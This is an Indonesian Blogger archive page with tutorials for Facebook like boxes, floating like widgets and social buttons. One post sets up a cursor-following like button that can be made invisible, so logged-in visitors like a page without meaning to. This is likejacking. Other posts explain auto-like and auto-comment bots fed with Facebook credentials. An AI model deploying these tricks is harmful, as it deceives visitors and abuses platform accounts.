Showing posts with label like. Show all posts

Friday, December 30, 2016

Cara Membuat Like Box Facebook Valid HTML5

Cara Membuat Like Box Facebook Valid HTML5 - Alhadulillah setelah koneksi internet tadi malam saya erorr , sekarang sudah pulih lagi . kali ini saya akan membuat tutorial tentang bagaimana cara membuat like box / yang biasa disebut temukan kami di facebook valid html5. pada dasarnya like box yang asli pada script facebook , tidak valid HTML5 dan mengandung Iframe . Teentunya itu tidak baik untuk blog anda. serta dapat mengurangi nilai score seo anda ketika anda cek di chkme.com.

image : kang-ismet

Nah untuk itu sekarang saya akan menjawab masalah tersebut supaya tetap ada like book namun blog sobat akan tetap valid dan terhindar dari ifareme . Gimana caranya ..? Nah simaklah Cara Membuat Like Box Facebook Valid HTML5 di bawah ini :

1. Seperti biasanya , Sobat harus masuk dulu ke blog sobat .

2. Kemudian sobat pilih menu Template

3. Setelah ketemu menu templatenya . sekarang pilih sub menu EditHtml

4. Kemudian sobat cari kode </body> ( kode ini terletak di paling buawah pisan )

5. Kemduian salin kode dibawah ini di atas kode </body> terebut .

<div id="fb-root"></div> <script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/id_ID/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs); }(document, script, facebook-jssdk));</script>

Keterangan : sebelum sobat menyimpan kode diatas . sobat harus menghapus kode yang berwarna hitam tebal ( <div id="fb-root"></div> ) dengan catatan kode tersebut sudah ada . namun bila belum ada maka jangan dihapus kode tersebut . "Understhan ....

6. KLik save / Simpan

7. kemudian sobat log out dari edit template tersebut dan Masuk pada bagian Tata Letak » Tambah Gadget » HTML/JavaScript Letakkan kode berikut ini kedalamnya kemudian Simpan

<div class="fb-like-box" data-href="https://www.facebook.com/ahmad.suyadi04" data-width="292" data-show-faces="true" data-stream="false" data-header="false"></div>

Keterangan untuk mengatur kode diatas tersebut :

- Ganti https://www.facebook.com/ahmad.suyadi04 dengan alamat URL fans page facebook sobat .

- data-width="292" // Lebar widget

- data-show-faces="true" // Tampilkan foto
- data-stream="false" // Tampilkan artikel terbaru
- data-header="false" // Tampilkan header "Temukan Kami di Facebook"

Sesuaikan kode diatas dengan template sobat . Nah setelah itu langkah terakhir adalah klik Save / simpan . kemudian lihat perubahan hasilnya yang terjadi pada blog sobat .

Demikian tutorial saya pada sore hari ini mengenai "Cara Membuat Like Box Facebook Valid HTML5 " semoga tutorial tadi bermanfaat bagi sobat . Akhirul kalam wassalamualaikaum wr.wb.

Go to link Download

Cara Membuat Like Box FP Keren Melayang versi terbaru 2013

Selamat sore sahabat blogger semua !!! Kali ini, fahrurrozi18 akan berbagi tips tentang Cara membuat like box melayang versi terbaru 2013 yang pastinya simple dan keren abiss deh. Widget like box kali ini berbeda dengan widget like box seperti biasanya, karena widget ini tanpa dilengkapi dengan TimeOut / Batas waktu untuk tertutup otomatis. dan yang paling penting nih, cara pemasangannya tanpa mengedit HTML loh, hanya meng Copy dan Paste codenya lalu di letakkan di Widget. Daripada berlama-lama, langsung saja deh ke TKP... Cekidot :

1. Login ke akun blogger.com sobat

2. Pilih Tata letak.

3. Kemudian Add Gadget

4. Pilih html/javascript

5. Copy kode di bawah ini lalu pastekan ke kotak html/javascript tadi.

<style type=text/css>/* Message Box */#box-message {position:fixed !important;position:absolute; /* IE6 */top:-1000px;left:50%;margin:0px 0px 0px -182px;width:300px;height:auto;padding:16px;background:#f5f5f5;font:normal Dosis, Georgia, Serif;color:#111;border:2px solid #fff;-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);box-shadow:0px 1px 2px rgba(0,0,0,0.4);-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;}#box-message a.close {position:absolute;top:-10px;right:-10px;background:#f5f5f5;font:bold 16px Arial, Sans-Serif;text-decoration:none;line-height:22px;width:22px;text-align:center;color:#111;border:2px solid #fff;-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);box-shadow:0px 1px 2px rgba(0,0,0,0.4);-webkit-border-radius:22px;-moz-border-radius:22px;border-radius:22px;cursor:pointer;}</style><script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"></script><script type=text/javascript>$(window).bind("load", function() {// Animate Top Value When Page Loaded Completed$(#box-message).animate({top:"50px"},1000);// Remove Mailbox When Close Button On Click$(a.close).click(function() {$(this).parent().fadeOut();return false;});});</script><div id=box-message>
<center><iframe src="//www.facebook.com/plugins/likebox.php?href=https://www.facebook.com/fahrurroziBLOG18&width=292&height=258&colorscheme=light&show_faces=true&border_color&stream=false&header=false&appId=112462558775142"scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:258px;" allowtransparency="true"></iframe></center>
<a class=close href=http://fahrurrozi18.blogspot.com>×</a></div>

6. Save dan lihat hasilnya.

Keterangan :

Ganti kode yang berwarna Merah dengan URL sobat sendiri.

Nah... gimana sob, mudah banget kan ?
Semoga artikel ini bermanfaat dan Bye... bye... :)

Go to link Download

Cara Membuat Tombol Like Facebook Page Di atas Postingan

Cara Membuat Tombol Like Facebook Page Di atas Postingan. Sebenarnya ini adalah postingan lanjutan dari sebelumnya yang berjudul Memasang Widget Follow Twitter Diatas Postingan. Pada informasi ini, anda akan saya ajak untuk memasang tombol like facebook page diatas postingan yang menampilkan count atau jumlah orang yang menyukai. Jadi, cara ini lebih efektif dari pada memasang widget kotak like facebook melayang yang memberatkan blog.

Dengan mengklik Suka pada tombol tersebut, anda berarti menyukai halaman blog ini di facebook atau Facebook Page. Apa anda juga ingin memasang widget ini di atas postingan anda? Baca artikel ini selengkapnya

Cara Membuat Tombol Like Facebook Page Di atas Postingan

1. Pastinya anda harus masuk dengan akun blogger anda

2. Pada dashboard silahkan pilih blog yang akan anda edit

3. Klik menu Template lalu Edit HTML

4. Cari kode <data:post.body/> dengan menekan ctrl + f

Keterangan:

Di template anda mungkin akan menemukan kode tersebut lebih dari 1. Untuk menemukan kode yang benar yang nantinya akan digunakan, pastikan kode <data:post.body/> yang dekat dengan kode <div class=post-body entry-content atau html yang serupa

5. Copy kode dibawah ini lalu pastekan di atas kode <data:post.body/>

<iframe allowTransparency=true frameborder=0 scrolling=no src=//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2FJonaRendra&send=false&layout=button_count&width=450&show_faces=true&font&colorscheme=light&action=like&height=21 style=border:none; overflow:hidden; width:100px; height:21px;/>

Keterangan:

Jangan lupa untuk mengganti tulisan berwarna biru dengan alamat facebook page anda.

6. Klik Simpan Template dan silahkan buka salah satu postingan blog anda

Itulah tombol like facebook page diatas postingan yang bisa menampilkan jumlah orang yang like. Dengan memasang widget ini, anda sudah melakukan salah satu usaha untuk membuat blog anda lebih ringan. Karena dilihat dari ukurannya, tombolnya kecil dan tidak terlalu mengganggu. Kira kira tampilannya seperti ini

Sekian dulu postingan dari Jona Rendra kali ini yang berjudul Cara Membuat Tombol Like Facebook Page Di atas Postingan semoga bermanfaat untuk anda. Jika widget ternyata tidak muncul, kesalahan dalam penampilan atau kesulitan saat mempraktekkan cara cara diatas, silahkan bertanya lewat kolom komentar dibawah

Go to link Download

Cara Membuat Tombol Like Facebook Mengikuti Kursor

Cara Membuat Tombol Like Facebook Mengikuti Kursor ini adalah postingan Jona Rendra yang berjenis sama dengan Like Box Facebook di Blog, Like Box Melayang di Blog danTombol Like Diatas Postingan Blog karena mempunyai fungsi untuk menyarankan pengunjung untuk mengklik Suka atau Like. Mengapa kita memasang tombol like di blog? Sebab, seperti pemikiran banyak orang, semakin banyak pengguna facebook yang meng-like facebook page kita, semakin terlihat populer pula halaman tersebut.

Nah, pada trik yang satu ini, saya akan membuat pengunjung mau tidak mau akan mengklik Suka pada halaman facebook page anda. Mengapa demikian? Karena tombol like ini mengikuti kursor. Jadi, apabila si pengunjung telah login di facebook sebelumnya pada komputernya, jika ia mengklik bagian pada laman blog kita, ia akan memberi satu like ke FP kita. Bermanfaat bukan?

Tetapi, perlu diingat bahwa orang orang tidak menyukai widget yang menghalangi niatnya untuk membaca konten blog anda. Apabila ada kotak like yang mengitari blog anda, alih alih ingin mendapat puluhan like, blog anda malah ditinggal pengunjung. Kalau anda tetap ingin memasang widget ini di blog, silahkan ikuti tutorial dibawah ini.

Cara Membuat Tombol Like Facebook Mengikuti Kursor

1. Tentukan facebook page anda yang akan dibuat tombol like
2. Login ke blogger, pada dashboard pilih blog, masuk ke Template
3. Sisipkan script dibawah ini tepat di atas kode </body>

<script language=javascript src=https://sites.google.com/site/blogjona/files/likejona.js/>

4. Selanjutnya klik Simpan Template. Jangan pergi dulu! masih ada langkah selanjutnya.
5. Masuk ke Tata Letak blog lalu klik Tambah Gadget pada kolom yang tersedia
6. Pilih HTML/Javascript lalu masukkan rangkaian script dibawah ini di kolom konten

<script language=javascript>var fan_page_url = https://www.facebook.com/JonaRendra
var opacity = 0.5;
var time = 30000;</script>


Keterangan:


Jangan lupa ganti URL diatas dengan alamat fans page facebook anda. Kalau tidak diganti juga tidak masalah :D

Pada var opacity, 0.5 berarti transparan. Kalau 0 berarti bening (tak terlihat)

7. Terakhir, klik Simpan dan selesai.

Silahkan pratinjau blog anda dan coba mainkan kursor anda disekeliling laman blog. Pasti ada tombol like yang mengikuti.

Itulah artikel dari Jona Rendra yang berjudul Cara Membuat Tombol Like Facebook Mengikuti Kursor, semoga dapat bermanfaat untuk anda. Perlu saya ingatkan sekali lagi, jika anda tidak ingin mengecewakan pengunjung blog anda, jangan pasang script ini. Karena akan membuat blog lambat. Apabila ada pertanyaan mengenai langkah langkah diatas, silahkan poskan melalui komentar

Go to link Download

Cara Membuat Widget Like Box Facebook di Blog

Manfaat widget Like Box Facebook di Blog adalah pengunjung pada Blog sobat tau bahwa Blog tersebut juga mempunyai halamanya di Facebook dan pengunjung dapat menyukai halaman Blog sobat di Facebook dengan sekali klik.
Sebelum membuat Widget Like Box Facebook di Blog, sobat terlebih dahulu harus mempunyai halaman Blogspot sobat di Facebook. Jika sobat belum punya halaman Blogspot di Facebook, sobat bisa baca panuduan ini, Cara Membuat Halaman Blog di Facebook. Baca juga untuk tampilan lebih sederahana yaitu Tombol Like Facebook di Blog. Jika sobat telah mempunyai halaman Blogspot sobat di Facebook, maka membuat Like Box Facebook di Blog dapat dimulai.
OK, mulai saja sob. Cara membuat Like Box Facebook di Blog:
1. Login ke Facebook dengan akun sobat.
2. Isikan URL http://developers.facebook.com/docs/reference/plugins/like-box/ dan langsung kunjungi URL tersebut.
3. Atur Tampilan.
Masukan URL halaman blogspot sobat di Facebook.
Width, atur lebar Widget.
Height, atur panjang Widget.
Show Faces, menampilkan foto Profil Likers atau tidak.
Color Scheme, pilih antara dark atau light.
Stream, tampilkan ringkasan halaman Facebook atau tidak.
Border Color, tentukan warna garis luar.
Show header, tampilkan header atau tidak.
4. Setelah selesai klik Get Code untuk mendapatkan kode HTML widget Like Box.

5. Mendapatkan kode html Like Box, agar lebih mudah masuk pada bagian iFrame. Coppy seluruh kodenya.

6. Selanjutnya, masuk pada akun Blogger sobat.
7. Masuk pada bagian Tata Letak.
8. Kllik tambah gadget, pilih posisi mana yang sobat inginkan untuk memasang Widget Like Box.
9. Pilih HTML/Javascript.
10. Pastekan kode iFrame dan klik simpan.

Selesai, Widget Like Box Facebook telah berhasil dipasang pada Blog sobat. Silakan lihat hasilnya. - See more at: http://regibrader-free.blogspot.com/2013/02/cara-membuat-widget-like-box-facebook.html#sthash.0E2Xgtc0.dpuf

Go to link Download

Cara Membuat Like Fanspage Facebook Follow Twitter Melayang di Blog Like Box

Like Box Melayang Di Blog Ini Dilengkapi Dengan Follow Twitter Juga Jadi Gak Usah Ribet Nambahin Script Lainnya Berikut Caranya.

1. Dasboard Blogger lo > Tata Letak > Tambah Gadget
2. Pilih HTML Javascript Lalu Masukan Kode Berikut Ini

Yang Berwarna Merah Ganti Sesuka lo
Yang Berwarna Hijau Ganti Dengan URL Fanspage Facebook lo
Yang Berwarna kuning Ganti Dengan nama twitter lo
3. Lalu Simpan Dan lihat Hasilnya

Segitu Saja Cara Membuat Like Fanspage Facebook + Follow Twitter Melayang di Blog ( Like Box ) , Kalau Kurang jelas silangkan berkomentar yang baik Terima Kasih.

Go to link Download

Cara membuat Like Box Facebook Dengan Tambahan Kata bergerak

Oke sekarang saya ngepos tentang Cara membuat Like Box Facebook Dengan Tambahan Kata bergerak.

silahkan pastekan kode dibawah,letakkan di tambahkan gadget.Berikut kode untuk membuat like box facebook dengan tambahan kata bergerak (marquee) :

<!-- FB melayang tombol close --!>

#kotak-facebook {

position:fixed !important;

position:absolute; /* IE6 */

bottom:-1000px;

right:40%;

margin:0px 0px 0px -182px;

width:330px;

height:auto;

padding:16px;

-webkit-box-shadow: 0px 0px 7px #222;

-moz-box-shadow: 0px 0px 7px #222;

box-shadow: 0px 0px 7px #222; background-color:#FFFFFF; font:normal 1em Cambria,Georgia,Serif;

color:#111;

-webkit-border-top-left-radius: 20px;

-webkit-border-bottom-right-radius: 20px;

-moz-border-radius-topleft: 20px;

-moz-border-radius-bottomright: 20px;

border-top-left-radius: 20px;

border-bottom-right-radius: 20px;}

#kotak-facebook a.close {

position:absolute;

top:-10px;

right:-10px;

background:#333;

font:bold 16px Arial,Sans-Serif;

text-decoration:none;

line-height:22px;

width:22px;

text-align:center;

color:#fff;

border:2px solid #fff;

-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);

-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);

box-shadow:0px 1px 2px rgba(0,0,0,0.4);

-webkit-border-radius:10px;

-moz-border-radius:10px;

border-radius:10px;

cursor:pointer;

}

</style>

$(window).bind("load", function() {

// animasikan nilai top saat halaman telah selesai dimuat

$(#kotak-facebook).animate({bottom:"50px"}, 1000);

// hilangkan kotak pesan saat tombol (x) di klik

$(a.close).click(function() {

$(this).parent().fadeOut();

return false;

});

</script>

<marquee behavior="alternate">Biar Lebih Keren,LIke This.!!!</marquee>

<!-- Mulai --!>

<!-- Selesai --!><a class=close href=#>×</a>

<p style=" float:right; margin-right:35px; font-size:10px;" ></p></div>Powered By <a style=" font-size:10px; color:#3B78CD; text-decoration:none;" href="http://www.facebook.com/ielielzam.zuhdi">Ilzam Zuhdi Shofiyullah</a>

Keterangan :

- warna merah adalah kata yang bergerak,silahkan ganti dengan kata yang anda inginkan

-warna biru adalah username fanpage blog saya,silahkan ganti dengan username fanpage sobat

Go to link Download

Cara Membuat Website Auto Like dan Comment Beranda dengan Blogger

Mungkin sudah ada yang mendengar atau memakai Website Auto Like dan Comment Beranda, tetapi disini saya membuat tutorial Cara Membuat Website Auto Like dan Comment Beranda dengan Blogger. Mungkin tidak hanya Blogger, situs lain mungkin juga bisa.
Disini saya bagi menjadi 2 bagian.

Fitur:

Auto Like

Auto Comment

Auto Post (Grup, teman)

Cara Membuat Website Auto Like dan Comment Beranda dengan mengganti Template
1. Login ke Blogger dan pilih blog yang ingin diubah menjadi Website Auto Like dan Comment
2. Klik Template
3. Geser ke paling bawah dan klik Kembali ke Template Klasik dan klik Kembali ke template klasik lagi

4. Geser ke paling bawah dan pada kolom Edit Template HTML ganti dengan kode ini.

Cara Membuat Website Auto Like dan Comment Beranda dengan Mengganti Template

5. Selesai Website Auto Like dan Comment Beranda dengan Blogger sudah jadi.

Cara Membuat Website Auto Like dan Comment Beranda dengan Postingan
1. Buat postingan baru
2. Pastekan kode berikut di kolom HTML
3. Edit sesukamu dan klik simpan
4. Postingan Auto Like dan Comment Beranda berhasil dibuat.

Cara Memakai Website Auto Like dan Comment Beranda
1. Buka web yang sudah jadi
2. Baca tutorial yang ada di menu atas kanan
3. Pastekan token dan sesuaikan bot dengan keperluan
4. Klik Login Auto Liker

Cara Memakai Website Auto Like dan Comment Beranda

Go to link Download

Cara membuat bot auto comment like respon terbaru by lord kaisar

Cara membuat bot auto comment + like + respon terbaru by lord kaisar
Pindah ke sini
Oke2 kali ini saya akan membahas Cara membuat bot auto comment + like + respon terbaru by lord kaisar
Saya sarankan pake HIDE IP Jika Perlu
Langsung saja :
1.ambil scriptnya disini : http://pastebin.com/ZyY695mi
2.Masuk ke hosting yg support cpanel 11
3.Setelah berhasil masuk,buka file manager
4.Buat folder (terserah namanya apa) misal lol1
5.Terus pilih new file dan beri nama instal.php dan pilih create new file

6.Terus edit file instal.php tadi
7.Masukkan kode yang berada di step 1 tadi dan pilih save changes
9.Jika sudah selesai Buka situsmu,com/namafolder/instal.php
10.Pilih tombol Mulai

11.Masukkan email dan password fb kamu
12.Jika sudah bisa,buka facebook kamu dan pilih ini oke dan coba ulang bot kamu
13.Atur setting sesuka mu :D Tadaa jadi deh botnya

Tinggal setting cron jobnya aja :
1.Login ke cpanel
2.Di Menu Advanced pilih cron jobs
3.setting cron job seperti ini
Ganti username dengan username cpanel kamu
Ganti namafolder dengan nama folder tempat kamu instal

Go to link Download

Cara Membuat Widget Tombol Like Follow dan G Di Blog

Cara Membuat Widget Tombol Like, Follow dan G+ Di Blog. Kembali lagi saya hadir dengan postingan terbaru saya yang berlabel Mengedit Blog setelah postingan saya yang lain seperti Cara Membuat Komentar Bertingkat atau Threaded Comment telah saya publikasikan.

Kembali pada topik pembahasan, maksud dari widget tombol like, follow dan g+ ini adalah tombol tombol social media yang tampilannya menjadi satu. Ini tidak menggunakan kode script yang panjang. Tapi saya menggunakan trik saya sendiri untuk mengaturnya. Kurang lebih, tampilan widget tombol social media di blog anda akan seperti gambar dibawah ini

Cara Membuat Widget Tombol Like, Follow dan G+ Di Blog - Jona Rendra

Tanpa berlama lama lagi, langsung saja saya berikan tutorialnya. Simak saja baca bacaan berikut dibawah.

Cara Membuat Widget Tombol Like, Follow dan G+ Di Blog

Tutorial ini saya bagi menjadi 4 Tahapan. Tahapan tahapan tersebut ialah :

1. Membuat Tombol Like Facebook

2. Membuat Tombol Follow On Twitter

3. Memasang Tombol G+ atau Google Plus

4. Merangkai Widget Menjadi Satu

Saya akan mulai dengan yang pertama

1. Membuat Tombol Like Facebook

Pertama, login ke akun blogger anda

Kedua, pada dashboard, pilih blog anda lalu masuk ke menu Template

Ketiga, klik Edit HTML

Keempat, copy CSS berikut dibawah kode <body>

<div id=fb-root/>
<script>(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = &quot;//connect.facebook.net/id_ID/all.js#xfbml=1&quot;;
  fjs.parentNode.insertBefore(js, fjs);
}(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));</script>

Kelima, klik Simpan Template

Keenam, masuk ke Tata Letak lalu Tambah Gadget

Ketujuh, muncul jendela tambah gadget, cari lalu pilih gadget yang bernama HTML/Javascript

Kedelapan, copy kode script dibawah ini lalu paste di kolom konten

<div class="fb-like" data-href="https://www.facebook.com/JonaRendra" data-send="false" data-width="450" data-show-faces="true"></div>

Keterangan :

Ganti kode yang berwarna merah dengan URL facebook page anda

Terakhir, klik Simpan

2. Membuat Tombol Follow On Twitter

Pertama, masuk ke link ini

Kedua, pilih tampilan tombol yang anda inginkan lalu klik tombol yang seperti

Ketiga, isi form nya lalu copy kode HTML yang sudah muncul

Copy kode HTML yang telah muncul - Jona Rendra

Keempat, pada halaman blogger > Tata Letak, tambah gadget di kolom yang dekat dengan widget tombol like facebook tadi

Kelima, cari lalu pilih HTML/Javascript di jendela Tambah Gadget

Terakhir, pastekan kode HTML tadi ke kolom konten setelah itu klik simpan

3. Memasang Tombol G+ atau Google Plus

Pertama, di blogger anda tepatnya di menu Tata Letak, Klik Tambah Gadget di dekat widget sebelumnya (sidebar)
Kedua, setelah muncul jendela Tambah Gadget, cari lalu pilih gadget yang bernama Tombol +1. Letaknya paling atas
Ketiga, atur sesuai keinginan anda bentuk, gaya dan ukuran tombol
Terakhir, klik Simpan

4. Merangkai Widget Menjadi Satu

Sekarang kita telah masuk tahap akhir, yaitu merangkai widget widget tadi agar terlihat menjadi satu seperti pada tampilan punya saya

WIdget terlihat pada 1 tempat - Jona Rendra

Pertama, di menu Tata Letak, setelah semua widget telah tersimpan, buat dan atur hingga menjadi seperti gambar dibawah

Urutkan Widget Menjadi Seperti Ini Jona Rendra

Keterangan :

Nomer 1. adalah widget tombol like facebook

Nomer 2. adalah widget tombol follow on twitter

Nomer 3. adalah widet tombol G+

Terakhir, klik Simpan Setelan dan lihat blog anda sekarang. Telah muncul widget tombol social media yang ringan.

Itulah keseluruhan artikel saya kali ini yang berlabel Mengedit Blog dan berjudul Cara Membuat Widget Tombol Like, Follow dan G+ Di Blog. Semoga bermanfaat untuk anda yang ingin memasang widget social media yang ringan. Jika ada masalah saat penerapan tutorial diatas, silahkan poskan komentar dengan memberikan pertanyaan mengenai masalah anda.

Go to link Download

Cara Membuat Fanpage Facebook dan Pasang Like Box di Blog

Selamat malam sobat blogger semua !!! Kali ini, aq akan share tentang Cara membuat FansPage. Memiliki Fanpage (FP) facebook adalah keharusan jika sobat menjalankan sebuah bisnis, khususnya bisnis online. Fanpage bisa memiliki anggota hingga ribuan, bahkan ada sebuah fanpage yang memiliki member hingga mencapai jutaan. Betapa efektifnya kita bisa memasarkan produk hanya sekali posting sudah tersebar ke member kita yg mencapai ribuan, puluhan ribu hingga jutaan. Sahabat Blogger pun juga memanfaatkan FP ini untuk menyebarluaskan artikel-artikel yang di posting di blog, dan tentu ini salah satu juga teknik seo yang bisa di terapkan. Bisnis offline pun juga memanfaatkan usahanya untuk promosi. Intinya apapun bisnis sobat sangat membutuhkan FP Facebook untuk kegiatan promosi di media online

Pada artikel ini, ada 2 bagian yang di bahas, yaitu :

1. Cara Bikin Fanpage

2. Cara Pasang Widget Like box di Blog

Ok deh, langsung ajah dan untuk memulai jangan lupa login ke akun facebook masing-masing :

Untuk Cara Bikin / membuat Fanpage langsung saja masuk kesini : http://www.facebook.com/pages/create.php Muncul tampilan seperti di bawah ini. Pilih salah satu yang paling menggambarkan tema bisnis atau group sobat.

Selanjutnya, muncul tampilan form seperti di bawah ini : Upload profile picture dll, tapi proses ini bisa di skip dan bisa di updated belakangan

Ok, skip dulu dan lanjut proses sampai sistem menampilkan halaman penyelesaian akhir seperti tampilan screenshot di bawah ini :

Sampai disini, artinya pembuatan sebuah fanpage udah selesai dengan alamat URL : http://www.facebook.com/pages/nama fan page/kode fanpage atau

http://www.facebook.com/nama fan page

Proses berikutnya tinggal updated :

Add profile picture

Add Cover buat header

Setting untuk admin

Dan langkah berikutnya adalah menarik member atau orang lain untuk nge-like fanpage kita.

Salah satu cara efektif, mungkin dengan cara pasang Fanpage kita di Blog, untuk fitur ini di namakan LIKE BOX. Jadi pengunjung blog bisa melakukan "LIKE" dari Like Box yang di pasang di blog milik sobat.

Pasang widget Like Box di blog :

Untuk membuat widget like box sama mudahnya dengan bikin FP Facebook, silahkan sobat klik link ini : http://developers.facebook.com/docs/plugins

Dari pilihan aplikasi yang tampil, pilih Like Box, seperti gambar berikut :

Selanjutnya sampai di form pengisian data seperti gambar di bawah :

Perhatikan gambar di atas :

Facebook Page URL : Di isi dengan link fanpage sobat yg udah di bikin diatas
Width & Height : adalah ukuran lebar dan tinggi, bisa di atur-atur sesuai dengan ukuran sidebar blog
Color Scheme : Untuk menyesuaikan dengan backgroung blog milik sobat. Kalau backgroundnya terang, sebaiknya pilih light saja
Selebihnya bisa di coba-coba sendiri, silahkan di test dengan melihat hasil preview di sampingnya.
Langkah terakhir, Klik Get Code. Kode inilah yang nanti di pasang di widget blog

Bagaimana Cara mengambil Code-nya, kemudian di pasang di Blog ?

Mudah kok. Pada saat klik Get Code, kita di hadapkan pada pilihan format :

HTML5
XFBML
IFRAME
URL

Dari 4 pilihan itu, kebanyakan orang ambil HTML5 atau IFRAME, Namun aq lebih suka memakai kode HTML5. Kenapa ? karena script yang di bungkus IFRAME kurang bagus buat SEO. Kalau blog kita di test di http://chkme.com kode IFRAME akan mengurangi penilaian SEO blog milik kita. Untuk itu pakai yg pilihan Tab HTML5 saja. Perhatikan gambar di bawah :

2 bagian script di atas jadikan satu dan Copas ke Widget atau bagian blog yg ingin di tampilkan FP tersebut. Kalau ingin tampil di Sidebar, copas apa adanya saja seperti script asli pada saat kita Get Code.

Namun kadang ada blogger yang ingin menampilkan FP di dalam postingan, atau menjadi bagian dari posting. Untuk kasus seperti ini kode harus di Parse dulu supaya tidak error. Coba search di google caranya parse script.

Go to link Download

CARA MEMBUAT LIKE FANS PAGE FACEBOOK MELAYANG DI BLOG

Contoh:

Adapun caranyaa:

1. Pilih Dasboard >> Tata Letak >> Tambah Gagdet. >> HTML javascript

2. Copy Code Di bawah ini lalu copy kan ke HTML javasrcipt.

<style type=text/css>
/* Message Box */
#box-message {
position:fixed !important;
position:absolute;
top:-1000px;
left:50%;
margin:0px 0px 0px -182px;
width:300px;
height:auto;
padding:16px;
background:#fff;
font:normal Dosis, Georgia, Serif;
color:#111;
border:2px solid #333;
-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-webkit-border-radius:10px;
-moz-border-radius:10px;
border-radius:10px;
}
#box-message a.close {
position:absolute;
top:-10px;
right:-10px;
background:#fff;
font:bold 16px Arial, Sans-Serif;
text-decoration:none;
line-height:22px;
width:22px;
text-align:center;
color:#111;
border:2px solid #333;
-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-webkit-border-radius:22px;
-moz-border-radius:22px;
border-radius:22px;
cursor:pointer;
}
#twitterx {
background: #EEF9FD;
padding: 10px;
text-align:center;
border: 1px solid #C7DBE2;
border-top: 0;
}
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"></script>
<script type=text/javascript>
$(window).bind("load", function() {
// Animate Top Value When Page Loaded Completed
$(#box-message).animate({top:"50px"}, 1000);
// Remove Mailbox When Close Button On Click
$(a.close).click(function() {
$(this).parent().fadeOut();
return false;
});
});
</script>
<div id=box-message>

<center><a class="murub">Semoga Bermanfaat</a></center>
<center><a class="murub">Jangan Lupa LIKE and FOLLOW </a></center>
<center>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https://www.facebook.com/pages/Ciputra-Ruslan/520279848009466?ref=hl&width=292&height=258&colorscheme=light&show_faces=true&border_color&stream=false&header=false&appId=371524026202784" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:258px;" allowtransparency="true"></iframe>
</center>

<br/>
<div class="twitter">
 <iframe title="" style="width: 250px; height: 20px;" class="twitterx-follow-button" src="http://platform.twitter.com/widgets/follow_button.html#_=1319978796351& align=&button=blue&id=twitter_tweet_button_0& lang=ID&link_color=&screen_name=Ciputra_R&show_count=& show_screen_name=&text_color=" frameborder="0" scrolling="no"></iframe> </div>
<a class=close href=#>×</a>
</div>

NB:

Yang Berwana BIRU Ganti Sesuka Kamu Ajah

Yang Berwarna Hijau Ganti Dengan Url Halaman Kamu

Yang Berwarna MERAH Ganti Dengan Nama Twiiter Kamu.

3. Simpan Dan Liat Hasilnya

Go to link Download

Post Game

Friday, December 30, 2016

Cara Membuat Like Box Facebook Valid HTML5

Cara Membuat Like Box Facebook Valid HTML5

Thursday, December 29, 2016

Cara Membuat Like Box FP Keren Melayang versi terbaru 2013

Cara Membuat Like Box FP Keren Melayang versi terbaru 2013

Wednesday, December 28, 2016

Cara Membuat Tombol Like Facebook Page Di atas Postingan

Cara Membuat Tombol Like Facebook Page Di atas Postingan

Cara Membuat Tombol Like Facebook Mengikuti Kursor

Cara Membuat Tombol Like Facebook Mengikuti Kursor

Tuesday, December 27, 2016

Cara Membuat Widget Like Box Facebook di Blog

Cara Membuat Widget Like Box Facebook di Blog

Monday, December 26, 2016

Cara Membuat Like Fanspage Facebook Follow Twitter Melayang di Blog Like Box

Cara Membuat Like Fanspage Facebook Follow Twitter Melayang di Blog Like Box

Thursday, December 22, 2016

Cara membuat Like Box Facebook Dengan Tambahan Kata bergerak

Cara membuat Like Box Facebook Dengan Tambahan Kata bergerak

Monday, December 19, 2016

Cara Membuat Website Auto Like dan Comment Beranda dengan Blogger

Cara Membuat Website Auto Like dan Comment Beranda dengan Blogger

Cara Membuat Website Auto Like dan Comment Beranda dengan Blogger

Thursday, December 15, 2016

Cara membuat bot auto comment like respon terbaru by lord kaisar

Cara membuat bot auto comment like respon terbaru by lord kaisar

Saturday, December 10, 2016

Cara Membuat Widget Tombol Like Follow dan G Di Blog

Cara Membuat Widget Tombol Like Follow dan G Di Blog

Wednesday, December 7, 2016

Cara Membuat Fanpage Facebook dan Pasang Like Box di Blog

Cara Membuat Fanpage Facebook dan Pasang Like Box di Blog

Tuesday, December 6, 2016

CARA MEMBUAT LIKE FANS PAGE FACEBOOK MELAYANG DI BLOG

CARA MEMBUAT LIKE FANS PAGE FACEBOOK MELAYANG DI BLOG